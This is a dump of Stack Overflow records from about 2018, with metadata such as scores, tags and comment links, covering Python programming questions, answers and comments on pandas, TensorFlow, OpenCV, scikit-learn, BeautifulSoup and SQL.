has body: i have found a work around, which i need to set every single cell manually for formatting it to two decimals, seems working when using WPS and MS Excel to open for row in range(1, rows): ws["F{}".format(row)].number_format = '#,##0.00' ws["G{}".format(row)].number_format = '#,##0.00'
answers question: http://stackoverflow.com/q/49525545
downvote count: 1
score: 8
upvote count: 9
has comment: http://stackoverflow.com/comment/86063849
has comment: http://stackoverflow.com/comment/107901242

http://stackoverflow.com/a/49487313
has body: dict_ = {'(':'[',')':']'} data = [dict_[val] if val in dict_ else val for val in square ] &gt;&gt;&gt;['[', ']', '.', '^', '-'] with using re module: import re print(list(re.sub(r'\(\)','\[\]',''.join(square)))) &gt;&gt;&gt;['[', ']', '.', '^', '-']
answers question: http://stackoverflow.com/q/49487243
type: Answer
score: 2
upvote count: 2
downvote count: 0

http://stackoverflow.com/q/49524142
upvote count: 2
accepted answer: http://stackoverflow.com/a/49524205
tagged with: dataframe
tagged with: python
has answer: http://stackoverflow.com/a/49524205
score: 2
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/86054179
tagged with: pandas
answer count: 1
downvote count: 0
has body: I am curious to know how to grab index number off of a dataframe that's meeting a specific condition. I've been playing with pandas.Index.get_loc, but no luck. I've loaded a csv file, and it's structured in a way that has 1000+ rows with all column values filled in, but in the middle there is one completely empty row, and the data starts again. I wanted to get the index # of the row, so I can remove/delete all the subsequent rows that come after the empty row. This is the way I identified the empty row, df[df["ColumnA"] ==None], but no luck in getting the row index number for that row. Please help!
favorite count: 0
type: Question
has title: How to get index number for a row meeting specific condition

http://stackoverflow.com/comment/86131281
has text: I was hoping to avoid the repetitive `elif param == `, but so far this seems like the way to go, and not much different from a switch/case (in fact, it involves less indentation).
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/49549644
score: 0

http://stackoverflow.com/comment/86128155
type: Comment
has text: I am able to read the video.Just not able to write it.Is there any other way I could write the file in a video format.
score: 0
comment on: http://stackoverflow.com/q/49519768
type: QuestionComment

http://stackoverflow.com/a/68690873
downvote count: 0
has body: In simple: from_tensors() returns: single element, type: TensorDataset from_tensor_slices() returns: multiple elements of input length, type: TensorSliceDataset Explanation: from_tensors() With 1-D input import tensorflow as tf dataset_ft = tf.data.Dataset.from_tensors([1, 2, 3]) type(dataset_ft) &gt;&gt;&gt; tensorflow.python.data.ops.dataset_ops.TensorDataset Now, if we loop through this Dataset we will only get one object: for _ in dataset_ft: print(_) &gt;&gt;&gt; tf.Tensor([1 2 3], shape=(3,), dtype=int32) What if we provide 2-D or more dimensional input? With 2-D input import tensorflow as tf dataset_ft = tf.data.Dataset.from_tensors([[1, 2, 3], [4, 5, 6]]) type(dataset_ft) &gt;&gt;&gt; tensorflow.python.data.ops.dataset_ops.TensorDataset Now, if we loop through this Dataset we will still get only one object: for _ in dataset_ft: print(_) &gt;&gt;&gt; tf.Tensor( &gt;&gt;&gt; [[1 2 3] &gt;&gt;&gt; [4 5 6]], shape=(2, 3), dtype=int32) As you see that the shape or produced tensor is as of input. There is no change in the shape. from_tensor_slices() It removes the first dimension and use it as a dataset dimension. With 1-D input import tensorflow as tf dataset_fts = tf.data.Dataset.from_tensor_slices([1, 2, 3]) type(dataset_fts) &gt;&gt;&gt; tensorflow.python.data.ops.dataset_ops.TensorSliceDataset Now, if we loop through this Dataset we will have multiple objects: for _ in dataset_fts: print(_) &gt;&gt;&gt; tf.Tensor(1, shape=(), dtype=int32) &gt;&gt;&gt; tf.Tensor(2, shape=(), dtype=int32) &gt;&gt;&gt; tf.Tensor(3, shape=(), dtype=int32) What if we provide 2-D or more dimensional input? With 2-D input import tensorflow as tf dataset_fts = tf.data.Dataset.from_tensor_slices([[1, 2, 3], [4, 5, 6]]) type(dataset_fts) &gt;&gt;&gt; tensorflow.python.data.ops.dataset_ops.TensorSliceDataset If we loop through this 2-D dataset we will have two 1-D elements: for _ in dataset_fts: print(_) &gt;&gt;&gt; tf.Tensor([1 2 3], shape=(3,), dtype=int32) &gt;&gt;&gt; tf.Tensor([4 …
answers question: http://stackoverflow.com/q/49579684
upvote count: 5
type: Answer
score: 5

http://stackoverflow.com/comment/86024732
score: 6
type: Comment
comment on: http://stackoverflow.com/q/49510315
has text: Welcome to StackOverflow. Please take the time to read this post on [how to provide a great pandas example](http://stackoverflow.com/questions/20109391/how-to-make-good-reproducible-pandas-examples) as well as how to provide a [minimal, complete, and verifiable example](http://stackoverflow.com/help/mcve) and revise your question accordingly. These tips on [how to ask a good question](http://stackoverflow.com/help/how-to-ask) may also be useful.
type: QuestionComment

http://stackoverflow.com/comment/86186160
type: AnswerComment
has text: I mark this as solution until I am sure what exactly was the key point that I wanted this. I think your question leads to the obvious solution: if the alarm is triggered, a variable =True. If this variable is set, all Other routes redirect to the alarm route! This way all users are caught - only the update problem persists, that a user could sit on old info..
comment on: http://stackoverflow.com/a/49498647
type: Comment
score: 0

http://stackoverflow.com/comment/86103556
comment on: http://stackoverflow.com/q/49548040
type: QuestionComment
has text: @AyodhyankitPaul Good catch! You are totally right
score: 0
type: Comment

http://stackoverflow.com/comment/85927859
comment on: http://stackoverflow.com/a/49461180
has text: Thank you so much! i think it does work. but may I ask how will I print out the output though?
score: 0
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/86206381
type: Comment
comment on: http://stackoverflow.com/q/49599421
type: QuestionComment
has text: Should the full stop be removed or should the line break be inserted after the full stop?
score: 0

http://stackoverflow.com/comment/138031002
type: AnswerComment
comment on: http://stackoverflow.com/a/49562606
score: 0
type: Comment
has text: I got the problem of encode 0x9D not with a python script but while copying a text file with a python script. If I open the file using encoding="utf-8" the error disapears but the copy actually is wrong, it has missing text on the area where the 0x9D issue was. So, adding explicit encoding = "utf-8" did not fix the real issue but only silent one error, therefore it is better not to have explitic encoding, at least in this case.

http://stackoverflow.com/comment/85955558
type: AnswerComment
has text: but the answer @era_misa obviates that
type: Comment
comment on: http://stackoverflow.com/a/49475839
score: 0

http://stackoverflow.com/a/49535499
type: Answer
has body: I updated your code to get it to run (see below). Here is the profiling I get: Looks like the function overhead on getitem here is proportionally very large, in comparison to everything else, though I expect this is in part because of the toy graph. If this is the case generally, could refactor your code in a way that you are not calling getitem so frequently. Instead, you could move the code from getitem into the set of nested loops in your script like so (but it will be ugly)... for i in range(number_of_walks_per_node): for starting_node in range(number_of_nodes): walkers_positions = [start_node] for j in range(length_of_walks): if randomChoice.index[walkers_positions[j]] == randomChoice.depth: randomChoice.choices[walkers_positions[j]] = np.random.choice(randomChoice.neighbors_choices[walkers_positions[j]], size=randomChoice.depth, p=randomChoice.neighbors_prob[walkers_positions[j]]) randomChoice.index[walkers_positions[j]] = 0 val = randomChoice.choices[walkers_positions[j]][randomChoice.index[walkers_positions[j]]] randomChoice.index[walkers_positions[j]] += 1 walkers_positions.append( val ) Working version of your code for reference... import numpy as np class RandomChoice(object): def __init__(self, neighbors_choices, neighbors_prob, depth=50): C = len(neighbors_choices) self.depth = depth self.neighbors_choices = neighbors_choices self.neighbors_prob = neighbors_prob self.index = np.zeros(C, np.uint32) self.choices = list() for i in range(C): self.choices.append(np.random.choice(self.neighbors_choices[i], size=self.depth, p=self.neighbors_prob[i])) def __getitem__(self, arg): if self.index[arg] == self.depth: self.choices[arg] = np.random.choice(self.neighbors_choices[arg], size=self.depth, p=self.neighbors_prob[arg]) self.index[arg] = 0 val = self.choices[arg][self.index[arg]] self.index[arg] += 1 return val # Example with a 3x3 matrix # 1 3 1 # 3 0 1 # 0 1 0 choices = [ [0, 1, 2], [0, 2], [1] ] probs = [ [0.25, 0.5, 0.25], [0.75, 0.25], [1] ] number_of_wal…
has comment: http://stackoverflow.com/comment/86077924
downvote count: 0
upvote count: 1
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/49534628
answers question: http://stackoverflow.com/q/49534628
has comment: http://stackoverflow.com/comment/86078416
has comment: http://stackoverflow.com/comment/86077866
has comment: http://stackoverflow.com/comment/86078570
score: 1

http://stackoverflow.com/a/49543530
has body: You may use zip with itertools.repeat to achieve this as: &gt;&gt;&gt; from itertools import repeat &gt;&gt;&gt; num = ['1', '2'] &gt;&gt;&gt; letter1 = ['a', 'b', 'c', 'd', 'e', 'f'] &gt;&gt;&gt; tuple1 = list(zip(repeat(num[0]), letter1)) &gt;&gt;&gt; tuple1 [('1', 'a'), ('1', 'b'), ('1', 'c'), ('1', 'd'), ('1', 'e'), ('1', 'f')] PS: Note the commas , between elements in the above lists. Strings separated without comma are treated as a single string. Inspired from the above answer, here's the list comprehension version of the solution to get tuple1 and tuple2 in a single go: letter2 = ['aa', 'bb', 'cc', 'dd', 'ee', 'ff'] # rest of the variables same as the above solution tuple1, tuple2 = [list(zip(repeat(a), b)) for a, b in zip(num, (letter1, letter2))] where these variables will hold the below lists as values: &gt;&gt;&gt; tuple1 [('1', 'a'), ('1', 'b'), ('1', 'c'), ('1', 'd'), ('1', 'e'), ('1', 'f')] &gt;&gt;&gt; tuple2 [('2', 'aa'), ('2', 'bb'), ('2', 'cc'), ('2', 'dd'), ('2', 'ee'), ('2', 'ff')]
accepted answer of: http://stackoverflow.com/q/49543468
type: Answer
answers question: http://stackoverflow.com/q/49543468
has comment: http://stackoverflow.com/comment/86094988
type: AcceptedAnswer
downvote count: 0
upvote count: 7
score: 7

http://stackoverflow.com/comment/86025382
type: Comment
score: 0
has text: i have check that loop with all those numbers it doesn't gives me error. and by seeing your error i will recommend you that debug your filename loop and check that from where that `f` is comming in the list on which it gives you error while conversion in int
type: QuestionComment
comment on: http://stackoverflow.com/q/49510009

http://stackoverflow.com/a/49444917
score: 0
has body: Not sure what you are trying to do, but this would work this way: class Citizen(): type='Citizen' colony='init' def __init__(self,value1,value2): self.name=value1 self.gender=value2 def __iter__(self): return iter(self.name) def print_citizen(self,colonyname): if (self.colony==colonyname) : print(self.name,' | Citizen | ',self.gender) Then: myCitizen = Citizen("Bob", "Male") myCitizen.print_citizen(colonyname)
type: Answer
answers question: http://stackoverflow.com/q/49444305

http://stackoverflow.com/comment/86125253
comment on: http://stackoverflow.com/a/49556820
has text: Please check also my answer about this topic @ReezalAQ
type: Comment
type: AnswerComment
score: 1

http://stackoverflow.com/comment/86135178
comment on: http://stackoverflow.com/q/49562687
has text: this work, but i've the same problem with \ character, how can i pass \?
type: Comment
score: 0
type: QuestionComment

http://stackoverflow.com/q/49515530
score: 0
tagged with: pandas
has answer: http://stackoverflow.com/a/49516594
has comment: http://stackoverflow.com/comment/86036480
answer count: 1
has comment: http://stackoverflow.com/comment/86037009
has comment: http://stackoverflow.com/comment/86036601
tagged with: beautifulsoup
type: Question
accepted answer: http://stackoverflow.com/a/49516594
has title: How to convert bs4.element.Tag to pandas
has comment: http://stackoverflow.com/comment/86036665
tagged with: python
has body: I want to parse only text from blogspot and do as bellow from urllib.request import urlopen from bs4 import BeautifulSoup html = urlopen("https://edwvb.blogspot.ru/2018/03/3-tipa-povedeniya-kotorye-opredelyayut-uspeshnyh-prodavcov.html") bsObj = BeautifulSoup(html, "html.parser") so I can see just this way to pars text of the post nameList = bsObj.findAll("div", {"dir":"ltr", "style":"text-align: left;", "trbidi":"on"}) But by this I parse two objects and when I convert this to pandas df = pd.DataFrame(nameList) I get two rows. 0 0 \n\n\n\n\n(adsbygoogle = window.adsbygoogle ||... 1 \nПеревод статьи 3 Behaviors That Drive Succes... I need parse just row 1. I try to do like this df = pd.DataFrame(nameList[1]) and get TypeError: DataFrame constructor called with incompatible data and dtype: setting an array element with a sequence nameList[1] has type bs4.element.Tag type(nameList[1]) bs4.element.Tag so how to convert bs4.element.Tag to pandas? Or may be there is more easy way to parse text blogspot.com?
type: AnsweredQuestion

http://stackoverflow.com/q/49571260
tagged with: integer
score: 2
tagged with: pandas
answer count: 0
upvote count: 2
downvote count: 0
tagged with: floating-point
favorite count: 0
type: Question
type: UnansweredQuestion
tagged with: python
has body: I have changed my variable age to an integer since it was stored as a float: sessions['age'] = sessions['age'].astype(int) Pandas dtypes returns an int: In: sessions['age'].dtype Out: dtype('int64') However, describe() shows a float: In: sessions['age'].describe() Out: Name: age, dtype: float64 Trying to plot the variable shows the following error message: ax = sns.distplot(sessions["age"]) TypeError: slice indices must be integers or None or have an __index__ method It looks like my variable is not an integer. What is going wrong?
has title: Pandas - dtype shows int, but describe shows float

http://stackoverflow.com/q/49479742
possible better answer: http://stackoverflow.com/a/49479838
has comment: http://stackoverflow.com/comment/85962768
has title: why doesn't my function return?
upvote count: 1
downvote count: 1
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/85962314
accepted answer: http://stackoverflow.com/a/49480056
has answer: http://stackoverflow.com/a/49480056
has comment: http://stackoverflow.com/comment/85962303
has answer: http://stackoverflow.com/a/49479838
tagged with: python
has answer: http://stackoverflow.com/a/49480042
has comment: http://stackoverflow.com/comment/85962348
has comment: http://stackoverflow.com/comment/85962831
type: AnsweredQuestion
score: 0
has comment: http://stackoverflow.com/comment/85962759
has body: I am a total newbie, thus I must apologize for this dumb question. But why doesn't my function return anything?? def correct_sentence(some_sent): list_of_big = list("ABCDEFGHIJKLMNOPQRSTUVWXYZ") list_of_small = list("abcdefghijklmnopqrstuvwxyz") list_of_sent = list(str(some_sent)) if list_of_sent[len(list_of_sent)-1] != ".": list_of_sent.append(".") if list_of_sent[0] in list_of_small: for i in range(26): if list_of_small[i] == list_of_sent[0]: the_index = i list_of_sent[0] = list_of_big[the_index] new_str = "".join(list_of_sent) return new_str correct_sentence(input())
answer count: 3

http://stackoverflow.com/q/49458353
type: UnansweredQuestion
tagged with: input
tagged with: python
has title: Python how to get arguments from specific string
has body: i'm doing school project which is calculator of complex numbers. I wrote a function to calculate it but i dont know how to slice input string to make single arguments from it. It looks like this: in1: [complex(1.0, 1.0), complex(1.0, 1.0), ’*’, False, ’nazwa’] in2: [complex(1 , 1), 2, ’+’, True, ’test’] Its first number, second, operation, and two other arguments. I would like to slice it like:enter code here number1 = 1.0,1.0 number2 = 1.0,1.0 operation = * and 2 others. I tried input().split() but it splits it like this : [(complex(1.0 | 1.0) | '*' etc.
answer count: 2
has comment: http://stackoverflow.com/comment/85919878
score: 0
upvote count: 1
tagged with: string
downvote count: 1
favorite count: 0
has answer: http://stackoverflow.com/a/49459117
type: Question
has answer: http://stackoverflow.com/a/49458600

http://stackoverflow.com/comment/86094071
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/49539596
has text: This doesn't explain the map function at all

http://stackoverflow.com/a/49479743
has body: There are a couple possible approaches. One would be to do a "brute force" search through your parameter space to find candidate starting points for the local solver in curve_fit. Another would be to use a global solver such as differential evolution. For sure, both of these can be much slower than a single curve_fit, but they do aim at finding "global minima". Within scipy.optimize, these methods are brute and differential_evolution, respectively. It should be noted neither of these is actually global optimizers, as they both require upper and lower bounds for the search space of all parameters. Still, within those boundaries, they do attempt to find the best result, not just a local minimum close to your starting values. A common approach is to use brute with medium-sized steps for each parameter, then take the best ten of those and use Levenberg-Marquardt (from leastsq, as used in curve_fit) starting from each of these. Similarly, you can use differential_evolution and then refine. You might find lmfit (https://lmfit.github.io/lmfit-py) helpful, as it allows you to set up the model once and switch between solvers, including brute, differential_evolution, and leastsq. Lmfit also makes it easy to fix some parameters or place upper/lower bounds on some parameters. It also provides a higher-level interface to model building and curve-fitting, and methods to explore the confidence intervals of parameters.
accepted answer of: http://stackoverflow.com/q/49478024
type: Answer
has comment: http://stackoverflow.com/comment/85967116
score: 4
has comment: http://stackoverflow.com/comment/85973727
upvote count: 4
has comment: http://stackoverflow.com/comment/85964177
answers question: http://stackoverflow.com/q/49478024
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/85964996
downvote count: 0
has comment: http://stackoverflow.com/comment/85966478
has comment: http://stackoverflow.com/comment/85963168
has comment: http://stackoverflow.com/comment/85968255

http://stackoverflow.com/comment/86086219
comment on: http://stackoverflow.com/a/49537635
score: 0
type: Comment
type: AnswerComment
has text: Well. I can convert Python 2.x to Python 3.x

http://stackoverflow.com/comment/86058894
has text: What is your expected result?
score: 0
comment on: http://stackoverflow.com/q/49526667
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/86217284
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49594923
score: 0
has text: @macsontaylor You should not edit your question with the proposed solution, since that would not be a question, it would be an answer.

http://stackoverflow.com/a/49582388
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/122024852
downvote count: 0
has body: You can try by taking the average of contour points, mentioned here. imgray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY) ret, thresh = cv2.threshold(imgray, 127, 255, 0, cv2.THRESH_BINARY_INV | cv2.THRESH_OTSU) _, contours, hierarchy = cv2.findContours(thresh, cv2.RETR_LIST, cv2.CHAIN_APPROX_NONE) cnts = cv2.drawContours(image, contours[0], -1, (0, 255, 0), 1) kpCnt = len(contours[0]) x = 0 y = 0 for kp in contours[0]: x = x+kp[0][0] y = y+kp[0][1] cv2.circle(image, (np.uint8(np.ceil(x/kpCnt)), np.uint8(np.ceil(y/kpCnt))), 1, (0, 0, 255), 3) cv2.namedWindow("Result", cv2.WINDOW_NORMAL) cv2.imshow("Result", cnts) cv2.waitKey(0) cv2.destroyAllWindows()
has comment: http://stackoverflow.com/comment/102638290
upvote count: 5
answers question: http://stackoverflow.com/q/49582008
type: Answer
accepted answer of: http://stackoverflow.com/q/49582008
score: 5

http://stackoverflow.com/q/49578862
tagged with: recursion
possible better answer: http://stackoverflow.com/a/49578967
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/86165710
score: 0
has answer: http://stackoverflow.com/a/49578923
answer count: 3
has comment: http://stackoverflow.com/comment/86165570
has title: Curious about effect of recursion of a method
has comment: http://stackoverflow.com/comment/86165435
has comment: http://stackoverflow.com/comment/86165460
type: Question
has comment: http://stackoverflow.com/comment/86169409
accepted answer: http://stackoverflow.com/a/49578923
has body: I have written an instance method which uses recursion to find a certain solution. It works perfectly fine except the time when I'm exiting the if-elif block. I call the function itself inside IF block. Also, I have only one return statement. The output from the method is weird for me to understand. Here is the code and the output: def create_schedule(self): """ Creates the day scedule for the crew based on the crew_dict passed. """ sched_output = ScheduleOutput() assigned_assignements = [] for i in self.crew_list: assigned_assignements.extend(i.list_of_patients) rest_of_items = [] for item in self.job.list_of_patients: if item not in assigned_assignements: rest_of_items.append(item) print("Rest of the items are:", len(rest_of_items)) if len(rest_of_items) != 0: assignment = sorted(rest_of_items, key=lambda x: x.window_open)[0] # print("\nNext assignment to be taken ", assignment) output = self.next_task_eligibility(assignment, self.crew_list) if len(output) != 0: output_sorted = sorted(output, key=itemgetter(2)) crew_to_assign = output_sorted[0][1] assignment.eta = output_sorted[0][4] assignment.etd = int(assignment.eta) + int(assignment.care_duration) crew = next((x for x in self.crew_list if x.crew_number == crew_to_assign), None) self.crew_list.remove(crew) crew.list_of_patients.append(assignment) crew.time_spent = assignment.etd self.crew_list.append(crew) self.create_schedule() else: print("*" * 80, "\n", "*" * 80, "\nWe were not able to assign a task so stopped.\n", "*" * 80, "\n", "*" * 80) sched_output.crew_output = self.crew_list sched_output.patients_left = len(rest_of_items) elif not rest_of_items: print("Fully solved.") sched_output.crew_output = self.crew_list sched_output.patients_left = 0 print("After completely solving coming here.") return sched_output This was the output: Rest of the items are: 10 Rest of the items are: 9 Rest of the items are: 8 Rest of the items are: 7 Rest of the items are: 6 Rest of the items are: 5 Rest of the items are: 4 Re…
has answer: http://stackoverflow.com/a/49578985
tagged with: python
has answer: http://stackoverflow.com/a/49578967

http://stackoverflow.com/comment/85924908
type: Comment
comment on: http://stackoverflow.com/a/49460993
has text: cur.description is a LIST , and looks like Colnames is also list
score: 0
type: AnswerComment

http://stackoverflow.com/comment/86273914
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49540692
has text: list(client.list_datsets(client.dataset(dataset_id))

http://stackoverflow.com/comment/85972249
type: QuestionComment
has text: You test for the value to be equal to 0?
score: 0
comment on: http://stackoverflow.com/q/49484750
type: Comment

http://stackoverflow.com/comment/86335389
type: AnswerComment
comment on: http://stackoverflow.com/a/49591269
type: Comment
has text: thanks, sorry still new at this. basically looking for a new way to do this with a bigger data frame. (so ideally, would like to import rep_dict as a txt file rather than writing it all out in my shell/terminal). Thanks!
score: 0

http://stackoverflow.com/a/49693009
score: 0
accepted answer of: http://stackoverflow.com/q/49456680
type: Answer
type: AcceptedAnswer
has body: Both previous answers pointed me in the right direction. In the end, the solution was not to override perform_create, but create function: def create(self, request, *args, **kwargs): content_type = request.data['content_type'] if content_type: app, model = content_type.split(".") ct = ContentType.objects.get_by_natural_key(app, model) request.data['user'] = request.user.id request.data['content_type'] = ct.id #object_id already passed as id in request.data A further explanation can be read here: https://github.com/encode/django-rest-framework/issues/3470
answers question: http://stackoverflow.com/q/49456680

http://stackoverflow.com/q/49548009
has comment: http://stackoverflow.com/comment/86103337
upvote count: 2
downvote count: 1
favorite count: 0
type: Question
tagged with: python-3.x
has answer: http://stackoverflow.com/a/49548616
type: UnansweredQuestion
score: 1
tagged with: python
has body: I am trying to convert English Date to equivalent Nepali date. When I run the code I get AttributeError: 'list' object has no attribute 'get' This is my code: from datetime import date import datetime import time import calendar engMonth = int(input('Enter birth month in A.D.')) engDate = int(input('Enter birth date in A.D.')) engYear = int(input('Enter birth year in A.D.')) Below is a List of no. of days in each month of each year within a valid range Nepali year-month List where, 2000, 2001, 2002 and so on are the Nepali years and 30, 32, 31 and so on are the total days in months nepaliMonths = [ [ 30, 32, 31, 32, 31, 30, 30, 30, 29, 30, 29, 31 ], #2000 [ 31, 31, 32, 31, 31, 31, 30, 29, 30, 29, 30, 30 ], #2001 [ 31, 31, 32, 32, 31, 30, 30, 29, 30, 29, 30, 30 ], [ 31, 32, 31, 32, 31, 30, 30, 30, 29, 29, 30, 31 ], [ 30, 32, 31, 32, 31, 30, 30, 30, 29, 30, 29, 31 ], [ 31, 31, 32, 31, 31, 31, 30, 29, 30, 29, 30, 30 ], [ 31, 31, 32, 32, 31, 30, 30, 29, 30, 29, 30, 30 ], [ 31, 32, 31, 32, 31, 30, 30, 30, 29, 29, 30, 31 ], [ 31, 31, 31, 32, 31, 31, 29, 30, 30, 29, 29, 31 ], [ 31, 31, 32, 31, 31, 31, 30, 29, 30, 29, 30, 30 ], [ 31, 31, 32, 32, 31, 30, 30, 29, 30, 29, 30, 30 ], [ 31, 32, 31, 32, 31, 30, 30, 30, 29, 29, 30, 31 ], [ 31, 31, 31, 32, 31, 31, 29, 30, 30, 29, 30, 30 ], [ 31, 31, 32, 31, 31, 31, 30, 29, 30, 29, 30, 30 ], [ 31, 31, 32, 32, 31, 30, 30, 29, 30, 29, 30, 30 ], [ 31, 32, 31, 32, 31, 30, 30, 30, 29, 29, 30, 31 ], [ 31, 31, 31, 32, 31, 31, 29, 30, 30, 29, 30, 30 ], [ 31, 31, 32, 31, 31, 31, 30, 29, 30, 29, 30, 30 ], [ 31, 32, 31, 32, 31, 30, 30, 29, 30, 29, 30, 30 ], [ 31, 32, 31, 32, 31, 30, 30, 30, 29, 30, 29, 31 ], [ 31, 31, 31, 32, 31, 31, 30, 29, 30, 29, 30, 30 ], [ 31, 31, 32, 31, 31, 31, 30, 29, 30, 29, 30, 30 ], [ 31, 32, 31, 32, 31, 30, 30, 30, 29, 29, 30, 30 ], [ 31, 32, 31, 32, 31, 30, 30, 30, 29, 30, 29, 31 ], [ 31, 31, 31, 32, 31, 31, 30, 29, 30, 29, 30, 30 ], [ 31, 31, 32, 31, 31, 31, 30, 29, 30, 29, 30, 30 ], [ 31, 32, 31, 32, 31, 30, 30, …
has answer: http://stackoverflow.com/a/49548049
has comment: http://stackoverflow.com/comment/86103395
has title: "AttributeError: 'list' object has no attribute 'get' "
answer count: 2

http://stackoverflow.com/comment/117817588
type: Comment
type: QuestionComment
has text: so what did you pass in it, can you share your updated code
comment on: http://stackoverflow.com/q/49565028
score: 0

http://stackoverflow.com/a/49507749
has comment: http://stackoverflow.com/comment/86026285
has comment: http://stackoverflow.com/comment/86032699
has body: EDIT: As pointed out by @TimH, the probablities can be given by clf.decision_function(X). The below code is fixed. Noting the appointed issue with low probabilities using predict_proba(X), I think the answer is that according to official doc here, .... Also, it will produce meaningless results on very small datasets. The answer residue in understanding what the resulting probablities of SVMs are. In short, you have 7 classes and 7 points in the 2D plane. What SVMs are trying to do, is to find a linear separator, between each class and each one the others (one-vs-one approach). Every time only 2 classes are chosen. What you get is the votes of the classifiers, after normalization. See more detailed explanation on multi-class SVMs of libsvm in this post or here (scikit-learn uses libsvm). By slightly modifying your code, we see that indeed the right class is chosen: from sklearn import svm import matplotlib.pyplot as plt import numpy as np X = [[0, 0], [10, 10],[20,30],[30,30],[40, 30], [80,60], [80,50]] y = [0, 1, 2, 3, 3, 4, 4] clf = svm.SVC() clf.fit(X, y) x_pred = [[10,10]] p = np.array(clf.decision_function(x_pred)) # decision is a voting function prob = np.exp(p)/np.sum(np.exp(p),axis=1, keepdims=True) # softmax after the voting classes = clf.predict(x_pred) _ = [print('Sample={}, Prediction={},\n Votes={} \nP={}, '.format(idx,c,v, s)) for idx, (v,s,c) in enumerate(zip(p,prob,classes))] The corresponding output is Sample=0, Prediction=0, Votes=[ 6.5 4.91666667 3.91666667 2.91666667 1.91666667 0.91666667 -0.08333333] P=[ 0.75531071 0.15505748 0.05704246 0.02098475 0.00771986 0.00283998 0.00104477], Sample=1, Prediction=1, Votes=[ 4.91666667 6.5 3.91666667 2.91666667 1.91666667 0.91666667 -0.08333333] P=[ 0.15505748 0.75531071 0.05704246 0.02098475 0.00771986 0.00283998 0.00104477], Sample=2, Prediction=2, Votes=[ 1.91666667 2.91666667 6.5 4.91666667 3.91666667 0.91666667 -0.08333333] P=[ 0.00771986 0.02098475 0.75531071 0.15505748 0.05704246 0.00283998 0.00104477…
has comment: http://stackoverflow.com/comment/122371020
has comment: http://stackoverflow.com/comment/114988353
has comment: http://stackoverflow.com/comment/122370662
score: 9
upvote count: 9
accepted answer of: http://stackoverflow.com/q/49507066
downvote count: 0
has comment: http://stackoverflow.com/comment/86026399
has comment: http://stackoverflow.com/comment/86020123
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/122393465
answers question: http://stackoverflow.com/q/49507066
has comment: http://stackoverflow.com/comment/86021615
type: Answer

http://stackoverflow.com/comment/86038135
has text: OX is x coordinate. Doesn't show the correct solution
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49515189
score: 0

http://stackoverflow.com/q/49482587
has answer: http://stackoverflow.com/a/49494548
answer count: 1
has body: I'm using flask_whooshalchemy and trying to do partial matches on texts. In the docs for flask_whooshalchemy it mentions using a 'like' parameter. So I have this query: result = Property.query.whoosh_search(search_str, like=True).filter( min_price &lt;= Property.asking_price) But this throws an unexpected keyword argument. Clearly they're using it in the docs and curious what I'm doing incorrectly.
has title: Whoosh_search unexpected keyword 'like'
tagged with: flask-sqlalchemy
tagged with: sqlalchemy
type: Question
type: UnansweredQuestion
tagged with: python
tagged with: flask
has comment: http://stackoverflow.com/comment/85992069
has comment: http://stackoverflow.com/comment/85974199
score: 0
tagged with: whoosh

http://stackoverflow.com/a/49501971
score: 0
type: Answer
has body: In order to select all the actresses who were selected for the award and never won, you should use AND rather than EXCEPT. Something like this should work: SELECT Name from Oscars WHERE Award LIKE "Actress%" AND Winner = 0 Refer to the sqlite docs at https://www.sqlite.org/index.html for more information.
answers question: http://stackoverflow.com/q/49476030

http://stackoverflow.com/comment/86010161
type: AnswerComment
has text: It would be slightly faster if you avoid creating a list inside your nested list comprehension. So simply do `all(x in s for x in findStrs)`. This makes it exit fast if a single string is not found in the search string
type: Comment
score: 4
comment on: http://stackoverflow.com/a/49502982

http://stackoverflow.com/q/49479316
favorite count: 0
has body: In this example... temp = 0b110 print temp temp.str(temp).zfill(8) print temp the output is... 0b110 0000b110 How do I add the zeros so I see an eight bit binary output, 0b00000110?
linked to: http://stackoverflow.com/q/40999973
type: Question
has title: Python: How do add leading zeros to a binary? When I try it adds them to the left of the 0b
has comment: http://stackoverflow.com/comment/136905913
linked to: http://stackoverflow.com/q/16926130
type: UnansweredQuestion
duplicate of: http://stackoverflow.com/q/40999973
tagged with: python
score: -1
has comment: http://stackoverflow.com/comment/85961622
has answer: http://stackoverflow.com/a/49479399
duplicate of: http://stackoverflow.com/q/16926130
linked to: http://stackoverflow.com/q/10411085
has comment: http://stackoverflow.com/comment/85961447
upvote count: 0
answer count: 1
duplicate of: http://stackoverflow.com/q/10411085
downvote count: 1

http://stackoverflow.com/q/49549248
linked to: http://stackoverflow.com/q/29770906
tagged with: python
has comment: http://stackoverflow.com/comment/86106089
has answer: http://stackoverflow.com/a/53490546
tagged with: jupyter-notebook
has comment: http://stackoverflow.com/comment/86105890
has comment: http://stackoverflow.com/comment/86106009
has comment: http://stackoverflow.com/comment/86105752
type: UnansweredQuestion
tagged with: sqlite
answer count: 1
has title: How do I resolve ImportError: No module named '_sqlite3' and No module named 'pysqlite2' python 3.5
tagged with: pysqlite
type: Question
